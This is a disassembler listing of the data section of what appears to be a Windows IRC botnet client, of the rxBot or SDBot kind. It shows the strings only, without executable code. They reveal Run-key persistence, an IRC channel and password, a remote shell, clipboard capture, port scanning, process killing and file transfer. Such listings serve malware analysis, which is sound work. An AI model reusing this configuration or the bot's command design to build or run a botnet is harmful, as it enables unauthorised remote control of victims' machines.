db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40A725:loc_40A768o
; sub_41198B+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_40A725:loc_40A762o
aDisk db 'Disk',0 ; DATA XREF: sub_40A725:loc_40A75Co
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40A725:loc_40A756o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40A725:loc_40A750o
align 4
aRam db 'RAM',0 ; DATA XREF: sub_40A725:loc_40A74Ao
aFailed db 'failed',0 ; DATA XREF: sub_40A7B6:loc_40A88Eo
; sub_40A8D1+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_40A7B6+6Bo
align 4
dword_428178 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40A8D1+8Eo
dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
dword_4281C8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40A8D1+58o
dd 2029206Ch, 2BBBB02h
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 4
aA_0 db 'A:\',0 ; DATA XREF: sub_40A9A3:loc_40A9E8o
dword_42821C dd 1A0Ch ; seg000:0040AFE8r
dword_428220 dd 1A0Ch dword_428224 dd 1AA6h dword_428228 dd 0CCEh ; seg000:004101C8r
dword_42822C dd 158Dh ; seg000:loc_4102BAr
dword_428230 dd 1 dword_428234 dd 1 dword_428238 dd 1 ; seg000:loc_40AE4Cr
byte_42823C db 78h ; DATA XREF: sub_40A66F:loc_40A67Br
; seg000:0040BE51r ...
align 10h
dword_428240 dd 9 ; sub_41242C+51r ...
dword_428244 dd 1 ; seg000:0040B5D7r ...
aVds017 db 'vds017',0 ; DATA XREF: seg000:0040AB7Ao
; seg000:0040F06Ao ...
align 10h
aEnz9_9b db 'enz 9.9b',0 ; DATA XREF: seg000:loc_410D69o
align 4
aHi db 'hi',0 ; DATA XREF: seg000:00410EECo
; seg000:00410FBBo
align 10h
a1068346466 db '1068346466',0 ; DATA XREF: seg000:0040AF20o
; seg000:0040AFD9o
align 4
aCc db '#cc',0 ; DATA XREF: seg000:0040AF41o
; seg000:0040AFEFo
aDcpass db 'dcpass',0 ; DATA XREF: seg000:0040AF58o
; seg000:0040B001o
align 4
byte_428278 db 31h ; DATA XREF: seg000:loc_40B017r
; seg000:0040B025o
a068346466 db '068346466',0
align 4
aCc_0 db '#cc',0 ; DATA XREF: seg000:0040B03Bo
aDcpass_0 db 'dcpass',0 ; DATA XREF: seg000:0040B04Do
align 10h
byte_428290 db 64h ; CODE XREF: seg000:loc_40ACEFp
; DATA XREF: sub_4032B0+3Eo ...
db 69h, 72h, 74h
dd 2E656C69h, 6D6F63h
dword_42829C dd 636C6974h, 36316D6Fh, 6C6C642Eh, 0dword_4282AC dd 20726944h, 656C6954h, 0dword_4282B8 dd 2D315253h, 0 dd 74726964h, 33656C69h, 6F632E32h, 6Dh
dword_4282D0 dd 692B782Bh, 0 dword_4282D8 dd 31727323h, 0 ; seg000:00410028o
dword_4282E0 dd 737323h dword_4282E4 dd 737323h, 38373837h, 39h, 6464h, 2E6464hoff_4282F8 dd offset a@room ; DATA XREF: seg000:loc_410F48o
; "*@room"
off_4282FC dd offset aMirc1_6_99 ; DATA XREF: seg000:0040BC21r
; seg000:00410F64o
; "mirc 1.6.99"
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 10h
db 53h
aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_412A1E+28o
; sub_412D42+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_412A1E+D4o
; sub_412D42+D4o
align 4
dd offset aAdministrator ; "Administrator"
align 10h
dd offset byte_42E348
align 8
dword_4283B8 dd 10h ; seg000:0040BEBBr ...
aAdministrator db 'Administrator',0 ; DATA XREF: sub_41198B:loc_411A96o
; seg002:004283A8o
align 4
aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: seg002:off_4282FCo
a@room db '*@room',0 ; DATA XREF: seg002:off_4282F8o
align 10h
unk_4283E0 db 2 ; DATA XREF: seg000:0040AEFFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToStartR db ' Failed to start registry thread, error: <%d>.',0
align 10h
unk_428430 db 2 ; DATA XREF: seg000:0040AEAAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aRegistryMonito db ' Registry monitor active.',0
align 4
dword_42846C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040AE6Fo
dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h
dd 2E64h, 25207325h, 25222064h, 2273h
dword_4284A4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40B07B+F2o
dd 2029206Ch, 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40B1E3+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40B1E3+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0041103Co
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:00411027o
align 4
dword_42851C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0041101Ao
dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 10h
dword_428550 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410FFDo
dd 2029206Ch, 2BBBB02h
aPasswordAccept db ' Password accepted.',0
align 4
dword_428584 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410F9Fo
dd 2029206Ch, 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
dword_4285C4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410F2Fo
dd 2029206Ch, 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: seg000:00410F20o
; seg000:00410F90o
align 4
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: seg000:00410F0Co
; seg000:00410F7Co
align 10h
asc_428650: ; DATA XREF: seg000:00410EDCo
unicode 0, <~>,0
dword_428654 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410E8Bo
dd 2029206Ch, 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_42868C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410DDDo
dd 2029206Ch, 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
dword_4286CC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410DD2o
dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 4
dword_42870C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410D6Eo
dd 2029206Ch, 2BBBB02h, 73252020h, 0
unk_428730 db 2 ; DATA XREF: seg000:00410D44o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToStar_5 db ' Failed to start secure thread, error: <%d>.',0
align 10h
dword_428780 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: seg000:00410CCEo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h
dd 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: seg000:00410CC8o
align 4
aSecuring db 'Securing',0 ; DATA XREF: seg000:00410CC1o
align 4
aSec db 'sec',0 ; DATA XREF: seg000:00410C66o
aSecure db 'secure',0 ; DATA XREF: seg000:00410C55o
align 10h
unk_4287D0 db 2 ; DATA XREF: seg000:00410C4Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_6 db 'Failed to start server thread, error: <%d>.',0
dword_42881C dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_42882C dd 646E6946h, 6C696620h, 65hdword_428838 dd 72027002h, 1F631F6Fh, 2E2Ehdword_428844 dd 636F7250h, 20737365h, 7473696Ch, 0dword_428854 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410AD8o
dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h
dd 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_410ACBo
align 4
dword_428898 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410AB6o
dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh
dd 2E676E69h, 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_410AA9o
align 10h
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00410A81o
align 4
dword_4288EC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410A35o
dd 2029206Ch, 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_42892C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004109F7o
dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah
dd 2Eh
dword_428958 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:004109CCo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_4289A4 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:00410961o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
dd 61657268h, 2E7364h
dword_4289D4 dd 627573h dword_4289D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004108ECo
dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch
dd 2Eh
dword_428A04 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: seg000:004108D1o
dd 2029206Ch, 2BBBB02h
aFailedToStar_7 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_428A50 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: seg000:00410844o
dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h
dd 2E67h
dword_428A7C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004107C3o
dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh
dd 2E6F66h
dword_428AA8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410794o
dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h
dd 2E6Fh
dword_428AD4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0041073Fo
dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh
dd 2E746Fh
dword_428B00 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:0041072Co
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_428B50 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:004106BDo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
dd 6C207373h, 2E747369h, 0
aFull db 'full',0 ; DATA XREF: seg000:0041069Do
align 4
dword_428B8C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:00410646o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning db ' Already running.',0
align 10h
unk_428BC0 db 2 ; DATA XREF: seg000:0041061Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 64h, 6Bh, 65h
db 79h ; y
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 4
dword_428BF4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004105CEo
dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah
dd 2Eh
dword_428C20 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:loc_410531o
dd 2029206Ch, 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_428C54 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:0041052Ao
dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 10h
dword_428C90 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:0041050Eo
dd 2029206Ch, 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_428CCC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004104F8o
dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h
dd 2E647261h, 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: seg000:004104CAo
align 10h
unk_428D10 db 2 ; DATA XREF: seg000:loc_4104BAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 10h
unk_428D50 db 2 ; DATA XREF: seg000:0041049Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 4
unk_428D88 db 2 ; DATA XREF: seg000:loc_41048Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 4
unk_428DC8 db 2 ; DATA XREF: seg000:loc_410488o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 4
unk_428E08 db 2 ; DATA XREF: seg000:00410481o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 10h
unk_428E40 db 2 ; DATA XREF: seg000:00410403o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_9 db 'Failed to start server thread, error: <%d>.',0
unk_428E8C db 2 ; DATA XREF: seg000:00410291o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToSta_10 db 'Failed to start server thread, error: <%d>.',0
unk_428ED8 db 2 ; DATA XREF: seg000:00410169o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aAlreadyRunni_0 db 'Already running.',0
align 4
dword_428F0C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:loc_410153o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_11 db ' Failed to start scan, port is invalid.',0
align 4
dword_428F58 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:00410094o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
dword_428FD4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040FE54o
dd 2029206Ch, 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_42900C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040FE3Bo
dd 2029206Ch, 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_429040 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040FE1Bo
dd 2029206Ch, 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_429074 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040FE02o
dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h
dd 2E73h
dword_4290A0 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:loc_40FD84o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 10h
dword_4290E0 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:0040FD7Do
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 4
dword_429118 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:loc_40FD37o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_429154 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:0040FD2Do
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 10h
aAll db 'all',0 ; DATA XREF: seg000:0040FD13o
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:0040FC88o
; seg000:loc_410A93o
align 4
dword_4291A4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040FC12o
dd 2029206Ch, 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_4291DC db 2 ; DATA XREF: seg000:loc_40FBFDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0
align 4
unk_429214 db 2 ; DATA XREF: seg000:0040FBF3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFileOpenedS db 'File opened: %s',0
dword_429244 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040FBCAo
dd 2029206Ch, 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_42927C dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: seg000:loc_40FBAEo
dd 2029206Ch, 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 4
dword_4292B8 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: seg000:0040FB80o
dd 2029206Ch, 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
dword_4292E8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:loc_40FB4Co
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
dword_42932C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:0040FB42o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS db ' Process killed: %s',0
align 4
dword_429364 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:loc_40FAECo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
align 4
dword_4293AC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:0040FAE5o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI db ' Process killed ID: %s',0
dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h
dd 2E277325h, 0
dword_429414 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040FA1Fo
dd 2029206Ch, 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 4
dword_42944C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: seg000:0040F9ADo
dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_429474 db 2 ; DATA XREF: seg000:0040F992o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToSta_12 db 'Failed to start connection thread, error: <%d>.',0
dword_4294C4 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: seg000:0040F923o
dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h
dd 0
dword_4294F0 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
; DATA XREF: seg000:loc_40F8B4o
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh
dd 2E746E65h, 0
unk_429520 db 2 ; DATA XREF: seg000:0040F8AAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Dh ; m
db 69h, 72h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_429550 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:0040F879o
dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h
dd 7325h
dword_42957C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:0040F86Eo
dd 2029206Ch, 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 4
dword_4295BC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F82Eo
dd 2029206Ch, 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 10h
dword_4295F0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F81Ao
dd 2029206Ch, 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
dword_429628 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F795o
dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h
dd 2E73h
dword_429654 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F75Ao
dd 2029206Ch, 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
dword_429698 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F73Eo
dd 2029206Ch, 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 10h
dword_4296D0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F6BCo
dd 2029206Ch, 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 10h
dword_429700 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F681o
dd 2029206Ch, 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 10h
dword_429730 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F62Bo
dd 2029206Ch, 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 10h
dword_429760 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F5C3o
